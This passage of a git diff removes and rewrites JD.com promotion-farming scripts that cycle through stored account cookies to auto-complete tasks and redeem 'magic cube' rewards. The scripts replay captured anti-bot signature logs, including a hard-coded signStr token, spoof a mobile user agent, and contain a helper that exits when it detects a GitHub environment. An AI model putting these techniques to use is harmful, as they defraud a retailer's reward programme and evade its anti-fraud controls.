= JSON.parse(data); - if (data['retcode'] === 1001) { - $.isLogin = false; - return; - } - if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - console.log('京东服务器返回空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} -function showMsg() { - return new Promise(resolve => { - if (!jdNotify) { - $.msg($.name, '', `${message}`); - } else { - $.log(`京东账号${$.index}${$.nickName}\n${message}`); - } - resolve() - }) -} -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_mofang.ts b/jd_mofang.ts deleted file mode 100644 index ccda48eef..000000000 --- a/jd_mofang.ts +++ /dev/null @@ -1,182 +0,0 @@ -/** - * const $ = new Env('京东新品-集魔方兑换-本地log版'); - * cron: 10 8 * * * - * Fix by HarbourJ - * TG: https://t.me/HarbourToulu - * 默认魔方满3/6自动兑换 - * 已内置log,不定时更新,若火爆请在HarbourTouluChat反馈以便及时更新log。 - */ - -import {requireConfig, wait, post, get} from './TS_USER_AGENTS' -import {existsSync} from "fs"; -import * as dotenv from 'dotenv' - -let cookie: string = '', res: any = '', UserName: string, index: number, log: string = '' -let mf_logs: any, logApi: boolean = false // 若有log接口请改为true并修改line174接口地址 - -!(async () => { - dotenv.config() - if (existsSync('./utils/mf_log.ts')) { - mf_logs = require('./utils/mf_log').mf_logs - } else { - console.log('./utils/mf_log not found') - } - let cookiesArr: any = await requireConfig() - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i] - UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) - index = i + 1 - console.log(`\n开始【京东账号${index}】${UserName}\n`) - if (logApi === true) { - console.log("开启船长🛳偷撸模式") - } - res = await api("functionId=getInteractionHomeInfo&body=%7B%22sign%22%3A%22u6vtLQ7ztxgykLEr%22%7D&appid=content_ecology&client=wh5&clientVersion=1.0.0") - let sign: string = res.result.taskConfig.projectId, reward: string = res.result.taskConfig.projectPoolId, rewardSign: string = res.result.giftConfig.projectId - - res = await api(`functionId=queryInteractiveInfo&body=%7B%22encryptProjectId%22%3A%22${sign}%22%2C%22sourceCode%22%3A%22acexinpin0823%22%2C%22ext%22%3A%7B%7D%7D&client=wh5&clientVersion=1.0.0&appid=content_ecology`) - for (let t of res.assignmentList) { - if (t.completionCnt < t.assignmentTimesLimit) { - if (t.ext) { - if (t.assignmentName === '每日签到') { - if (t.ext.sign1.status === 1) { - let signDay: number = t.ext.sign1.signList?.length || 0, - type: number = t.rewards[signDay].rewardType - console.log(signDay, type) - log = await getLog() - res = await api(`functionId=doInteractiveAssignment&body=${JSON.stringify({ - "encryptProjectId": sign, "encryptAssignmentId": t.encryptAssignmentId, "sourceCode": "acexinpin0823", "itemId": "1", "actionType": "", "completionFlag": "", "ext": {}, "extParam": {"businessData": {"random": log.match(/"random":"(\d+)"/)[1]}, "signStr": log.match(/"log":"(.*)"/)[1], "sceneid": "XMFhPageh5"} - })}&client=wh5&clientVersion=1.0.0&appid=content_ecology`) - console.log('签到成功') - } else { - console.log('已签到') - } - } - - for (let proInfo of t.ext.productsInfo ?? []) { - if (proInfo.status === 1) { - console.log(t.assignmentName) - log = await getLog() - res = await api(`functionId=doInteractiveAssignment&body=${encodeURIComponent(JSON.stringify({"encryptProjectId": sign, "encryptAssignmentId": t.encryptAssignmentId, "sourceCode": "acexinpin0823", "itemId": proInfo.itemId, "actionType": 0, "completionFlag": "", "ext": {}, "extParam": {"businessData": {"random": log.match(/"random":"(\d+)"/)[1]}, "signStr": log.match(/"log":"(.*)"/)[1], "sceneid": "XMFhPageh5"}}))}&client=wh5&clientVersion=1.0.0&appid=content_ecology`) - console.log(res.msg) - if (res.msg === '任务已完成') { - break - } - } - } - - for (let proInfo of t.ext.shoppingActivity ?? []) { - if (proInfo.status === 1) { - console.log(t.assignmentName) - log = await getLog() - res = await api(`functionId=doInteractiveAssignment&body=${encodeURIComponent(JSON.stringify({"encryptProjectId": sign, "encryptAssignmentId": t.encryptAssignmentId, "sourceCode": "acexinpin0823", "itemId": proInfo.itemId, "actionType": 1, "completionFlag": "", "ext": {}, "extParam": {"businessData": {"random": log.match(/"random":"(\d+)"/)[1]}, "signStr": log.match(/"log":"(.*)"/)[1], "sceneid": "XMFhPageh5"}}))}&client=wh5&clientVersion=1.0.0&appid=content_ecology`) - console.log(res.msg) - await wait(t.ext.waitDuration * 1000) - log = await getLog() - res = await api(`functionId=doInteractiveAssignment&body=${encodeURIComponent(JSON.stringify({"encryptProjectId": sign, "encryptAssignmentId": t.encryptAssignmentId, "sourceCode": "acexinpin0823", "itemId": proInfo.itemId, "actionType": 0, "completionFlag": "", "ext": {}, "extParam": {"businessData": {"random": log.match(/"random":"(\d+)"/)[1]}, "signStr": log.match(/"log":"(.*)"/)[1], "sceneid": "XMFhPageh5"}}))}&client=wh5&clientVersion=1.0.0&appid=content_ecology`) - console.log(res.msg) - } - } - - for (let proInfo of t.ext.browseShop ?? []) { - if (proInfo.status === 1) { - console.log(t.assignmentName) - log = await getLog() - res = await api(`functionId=doInteractiveAssignment&body=${JSON.stringify({ - "encryptProjectId": sign, "encryptAssignmentId": t.encryptAssignmentId, "sourceCode": "acexinpin0823", "itemId": proInfo.itemId, "actionType": 1, "completionFlag": "", "ext": {}, "extParam": {"businessData": {"random": log.match(/"random":"(\d+)"/)[1]}, "signStr": log.match(/"log":"(.*)"/)[1], "sceneid": "XMFhPageh5"} - })}&client=wh5&clientVersion=1.0.0&appid=content_ecology`) - console.log(res.msg) - await wait(t.ext.waitDuration * 1000) - log = await getLog() - res = await api(`functionId=doInteractiveAssignment&body=${JSON.stringify({ - "encryptProjectId": sign, "encryptAssignmentId": t.encryptAssignmentId, "sourceCode": "acexinpin0823", "itemId": proInfo.itemId, "actionType": 0, "completionFlag": "", "ext": {}, "extParam": {"businessData": {"random": log.match(/"random":"(\d+)"/)[1]}, "signStr": log.match(/"log":"(.*)"/)[1], "sceneid": "XMFhPageh5"} - })}&client=wh5&clientVersion=1.0.0&appid=content_ecology`) - console.log(res.msg) - } - } - - for (let proInfo of t.ext.addCart ?? []) { - if (proInfo.status === 1) { - console.log(t.assignmentName) - log = await getLog() - res = await api(`functionId=doInteractiveAssignment&body=${encodeURIComponent(JSON.stringify({"encryptProjectId": sign, "encryptAssignmentId": t.encryptAssignmentId, "sourceCode": "acexinpin0823", "itemId": proInfo.itemId, "actionType": "0", "completionFlag": "", "ext": {}, "extParam": {"businessData": {"random": log.match(/"random":"(\d+)"/)[1]}, "signStr": log.match(/"log":"(.*)"/)[1], "sceneid": "XMFJGh5"}}))}&client=wh5&clientVersion=1.0.0&appid=content_ecology`) - console.log(res.msg) - if (res.msg === '任务已完成') { - break - } - } - } - } else if (t.assignmentName === '去新品频道逛逛') { - } - } - } - - res = await api(`functionId=queryInteractiveRewardInfo&body=${encodeURIComponent(JSON.stringify({"encryptProjectPoolId":reward,"sourceCode":"acexinpin0823","ext":{"needPoolRewards":1,"needExchangeRestScore":1}}))}&client=wh5&clientVersion=1.0.0&appid=content_ecology`) - let sum: number = res.exchangeRestScoreMap["368"] - console.log('当前碎片', sum+'片') - if (sum >= 6) { - for (let k = 1; k <= Math.floor(sum / 6); k++) { - console.log(`开始第${k}次收集魔方`) - log = await getLog() - res = await api(`functionId=doInteractiveAssignment&body=${JSON.stringify({"encryptProjectId": rewardSign, "encryptAssignmentId": "wE62TwscdA52Z4WkpTJq7NaMvfw", "sourceCode": "acexinpin0823", "itemId": "", "actionType": "", "completionFlag": "", "ext": {"exchangeNum": 1}, "extParam": {"businessData": {"random": log.match(/"random":"(\d+)"/)[1]}, "signStr": log.match(/"log":"(.*)"/)[1], "sceneid": "XMFDHh5"}})}&client=wh5&clientVersion=1.0.0&appid=content_ecology`) - if (res.subCode === '0') { - console.log('收集成功') - } else { - console.log('收集失败', res.msg) - } - await wait(3000) - } - } - - res = await api(`functionId=queryInteractiveRewardInfo&body=${encodeURIComponent(JSON.stringify({"encryptProjectId": rewardSign, "sourceCode": "acexinpin0823", "ext": {"needExchangeRestScore": "1"}}))}&client=wh5&clientVersion=1.0.0&appid=content_ecology`) - let score: number = res.exchangeRestScoreMap["367"] - console.log('当前魔方', score+'个') - if (score >= 6) { - log = await getLog() - res = await api(`functionId=doInteractiveAssignment&body=${JSON.stringify({"encryptProjectId": rewardSign, "encryptAssignmentId": "42pP1FaQ4FTMurVsJpZhiFJXCZox", "sourceCode": "acexinpin0823", "itemId": "", "actionType": "", "completionFlag": "", "ext": {"exchangeNum": 1}, "extParam": {"businessData": {"random": log.match(/"random":"(\d+)"/)[1]}, "signStr": log.match(/"log":"(.*)"/)[1], "sceneid": "XMFDHh5"}})}&client=wh5&clientVersion=1.0.0&appid=content_ecology`) - if (res.subCode === '0') { - console.log('兑换6魔方成功:', res.rewardsInfo.successRewards['3'][0].rewardName) - score -= 6 - } else { - console.log('兑换6魔方失败:', res.msg) - } - } - if (score >= 3) { - log = await getLog() - res = await api(`functionId=doInteractiveAssignment&body=${JSON.stringify({"encryptProjectId": rewardSign, "encryptAssignmentId": "khdCzL9YRdYjh3dWFXfZLteUTYu", "sourceCode": "acexinpin0823", "itemId": "", "actionType": "", "completionFlag": "", "ext": {"exchangeNum": 1}, "extParam": {"businessData": {"random": log.match(/"random":"(\d+)"/)[1]}, "signStr": log.match(/"log":"(.*)"/)[1], "sceneid": "XMFDHh5"}})}&client=wh5&clientVersion=1.0.0&appid=content_ecology`) - if (res.subCode === '0') { - console.log('兑换3魔方成功:', res.rewardsInfo.successRewards['3'][0].rewardName) - score -= 3 - console.log('剩余魔方', score+'个') - } else { - console.log('兑换3魔方失败:', res.msg) - console.log('剩余魔方', score+'个') - } - } else { - console.log(`当前只有${score}个魔方,不够兑换`) - } - } -})() - -async function api(params: string) { - await wait(1000) - return await post("https://api.m.jd.com/client.action", params, { - 'Content-Type': 'application/x-www-form-urlencoded', - "User-Agent": "Mozilla/5.0 (Linux; U; Android 8.0.0; zh-cn; Mi Note 2 Build/OPR1.170623.032) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/61.0.3163.128 Mobile Safari/537.36 XiaoMi/MiuiBrowser/10.1.1", - 'Referer': 'https://h5.m.jd.com/babelDiy/Zeus/2bf3XEEyWG11pQzPGkKpKX2GxJz2/index.html', - 'Origin': 'https://h5.m.jd.com', - 'Host': 'api.m.jd.com', - 'Cookie': cookie - }) -} - -async function getLog() { - if (logApi === true) { - let data = await get("此处填写logApi") //若有,请把log接口填写在此处 - return `'"random":"${data.random}","log":"${data.log}"'` - } else if (mf_logs) { - return mf_logs[Math.floor(Math.random() * mf_logs.length)] - } else { - console.log('No log') - process.exit(0) - } -} \ No newline at end of file diff --git a/jd_mofang_ex.js b/jd_mofang_ex.js index c9c838544..59d6ac0f8 100644 --- a/jd_mofang_ex.js +++ b/jd_mofang_ex.js @@ -1,319 +1,17 @@ - /* -京东小魔方--收集兑换 -已支持IOS双京东账号,Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -by:小手冰凉 tg:@chianPLA -============Quantumultx=============== -[task_local] -#京东小魔方--收集兑换 -31 8 * * * https://raw.githubusercontent.com/okyyds/yydspure/master/jd_mofang_ex.js, tag=京东小魔方--收集兑换, enabled=true - -================Loon============== -[Script] -cron "31 8 * * *" script-path=https://raw.githubusercontent.com/okyyds/yydspure/master/jd_mofang_ex.js,tag=京东小魔方--收集兑换 - -===============Surge================= -京东小魔方--收集兑换 = type=cron,cronexp="31 8 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/okyyds/yydspure/master/jd_mofang_ex.js - -============小火箭========= -京东小魔方--收集兑换 = type=cron,script-path=https://raw.githubusercontent.com/okyyds/yydspure/master/jd_mofang_ex.js, cronexpr="31 8 * * *", timeout=3600, enable=true - +京东小魔方--兑换 +兑换3 6 1 +export MOFANG_NO_PIN="xxx&xxx&xxx" //不跑魔方兑换的有哪些号,一般作用于黑号 */ -const $ = new Env('京东小魔方--收集兑换'); +const $ = new Env('京东小魔方--兑换'); const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message; -$.shareCodes = [] -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = 'https://api.m.jd.com/client.action'; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await jdMofang() - await $.wait(3000) - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -async function jdMofang() { - console.log(`集魔方 赢大奖`) - await getInteractionHomeInfo() -} - -async function getInteractionHomeInfo() { - return new Promise(async (resolve) => { - $.post(taskUrl("getInteractionHomeInfo", { "sign": "u6vtLQ7ztxgykLEr" }), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`getInteractionHomeInfo API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data) - $.config = data.result; - await queryInteractiveRewardInfo(data.result.taskConfig.projectPoolId, "wh5", 0); //收集魔方 - await $.wait(1500) - await queryInteractiveRewardInfo(data.result.giftConfig.projectId, "acexinpin0823", 1);//兑换魔方 - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data) - } - }) - }) -} -async function queryInteractiveInfo(encryptProjectId, sourceCode) { - return new Promise(async (resolve) => { - $.post(taskUrl("queryInteractiveInfo", { "encryptProjectId": encryptProjectId, "sourceCode": sourceCode, "ext": { "couponUsableGetSwitch": 1 } }), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`queryInteractiveInfo API请求失败,请检查网路重试`) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data) - } - }) - }) -} -async function queryInteractiveRewardInfo(encryptProjectId, sourceCode, type) { - return new Promise(async (resolve) => { - if (type === 0) { - body = { "encryptProjectPoolId": encryptProjectId, "sourceCode": sourceCode, "ext": { "needPoolRewards": 1, "needExchangeRestScore": 1 } } - } - else { - body = { "encryptProjectId": encryptProjectId, "sourceCode": sourceCode, "ext": { "needExchangeRestScore": "1" } } - } - $.post(taskUrl("queryInteractiveRewardInfo", body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`queryInteractiveRewardInfo API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data) - if (type == 1) { - sum = data.exchangeRestScoreMap['367']; - console.log(`当前魔方${sum}个`); - let task = await queryInteractiveInfo($.config.giftConfig.projectId, "acexinpin0823"); - data2 = JSON.parse(task); - $.run = true; - if (data2.subCode == '0') { - for (let key of Object.keys(data2.assignmentList)) { - let vo = data2.assignmentList[key]; - if (sum >= 3) { - if (vo.exchangeRate == 3) { - for (let i = 1; i <= 1; i++) { - if ($.run == false) { - continue; - } - console.log(`开始3魔方第${i}次兑换`); - await doInteractiveAssignment($.config.giftConfig.projectId, vo.encryptAssignmentId, "acexinpin0823", 1); - await $.wait(1500); - } - } - } - } - } else { - console.log('获取兑换失败了'); - } - } else { - sum = data.exchangeRestScoreMap['368']; - if (sum >= 6) { - for (let k = 1; k <= Math.floor(sum / 6); k++) { - if ($.run == false) { - continue; - } - console.log(`开始第${k}次收集魔方`); - await doInteractiveAssignment($.config.giftConfig.projectId, "wE62TwscdA52Z4WkpTJq7NaMvfw", "acexinpin0823", 0);//兑换魔方 - await $.wait(1500); - } - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data) - } - }) - }) -} -// 兑换和收集魔方 -async function doInteractiveAssignment(encryptProjectId, AssignmentId, sourceCode, type) { - return new Promise(async (resolve) => { - $.post(taskUrl("doInteractiveAssignment", { "encryptProjectId": encryptProjectId, "encryptAssignmentId": AssignmentId, "sourceCode": sourceCode, "itemId": "", "actionType": "", "completionFlag": "", "ext": { "exchangeNum": 1 }, "extParam": { "businessData": { "random": "85707533" }, "signStr": "1639914390947~1KANxv8F8hhMDF4ZUtXWDAxMQ==.SVN4bmFJUXhvaExceCkCTFx8HW09Ch1gJklJfXtrVFc1ZSZJGykbFkhSGQEVNicJfCs1EiYdE0EKeQ4vRVg1.0f82af10~3,2~171F7F51216CC9EEA80A5C3D4372ED8F17117802E6ABE50E9AA1945A32CF6071~0vzuy9d~C~TxdFWRMObmwYE0BbXBYLbxdVARwDfR12YxgEYAMdABsBBwEYQRMYE1ACHAN5GHdjGABnBR0AHwQGARhFFhkTUAAZAnkYc2YZAGdyGEAdQBNpGRNTQ1oXCwAdFkZCFgsWBAcHCA0EBQcJDQwEAQMHAAkWHRZCVFATDhdFQEVAQVdBVxYZE0NUVRcLFldSQUVARUFUExgTRFFfFgtvAh0DBxgNHQwdBRkEaR0WX1sWCwcZE1dCFg8TVVIADARRUA0CB1EJAgYFUlABAlVRCAEBVQACVwYFAgAWGRNaQRYPE3hYWkBJFFBVR1JcBwAXHRZFFg8AAgINDAAAAg0FCAAGGBdbXxMOFxwHAwJRB1IFBgxUAAIZAAQEVFdUB1YFAgJSVQVSBhMYE1JFUxYLFld9egEDZ2d5f3Z3EUd8Q1h7fwhbB2hDDAkXHRZfQhcLFnZbWlZYVBR8X1cfFhkTWlBCFwsWCAQMAgQTGBdCV0MWD2oMAQQZAgIBaRkTRl4WD2oWZnhvHHV/BAUTGBNVW1VGXl1RExgTBQUTGBMFBR8GHwQXHRYIBAwCBBMYFwQHBAcFAgEHBwMAAgcHBwcZBQcDAgMCBwMAAgUHAwcHAhYZEwUTaRkTXV5VFwsWV1JTV1JXQEETGBNVXxMOE0EXHRZSXRcLFkYHGwMaBRYZE1dXa0MTDhMEBBMYE1ZREw4TRlRfUF5ZCAkBBgQCBAcCFhkTWVsWD2oFHQQZAWkdFlddW1YWDxMFBwcMCAUFBwMBAgkMSwBQegV7ZwRfbW8BeXVye2hYVUVWW3VJeVIMCR9Sc2NfZARBCWFmfmFgbABmbElldFJja19wYVp4Ykl+bHVwRXt5ZG5obWN8RGl1TQl8dW1weFNkTGxiUGtzT3gCZk5saXpJAEF0Q2h1dHdDd3xMfE14Xl4efXJXDHhDfHNxRmVzUWdCcmkEVgB+ZQxTe3Bge3dWDGN2T0VdemYBdnNcflF4dlZsf1pxV1J2WnBpXWwCcnYAX3pcVgZzYFBwcF9SfHt3Vll1SV8NaWVWcnRIR3lRZlZ1dnZ4enZZAHR+B3BXGwkDBAFXVQJSSk8dBU9KS3NKZVxRd2ZWU2Nnclp4fQAEZGJNa2ByXABkbHd6d2dYSWZyYFxlZVldYnVYZ3llSURxZwR0f3NJdVNxY15sdUxgd3FzR2NnZXNBZAF5fGVCa2d0XF5gZUlxcXdDZHZtcFtnc01gZGBMUVNyd3FUZEx4bnB3RHVzQglscwVgcnZJYVRjcntXZEZMdWJjcFFzTEJ3cWRlCE8FSQBEQEZdFhkTWUJTFwsWE0k=~0zkqpsb", "sceneid": "XMFJGh5" } }), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`doInteractiveAssignment API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data) - if (data.subCode 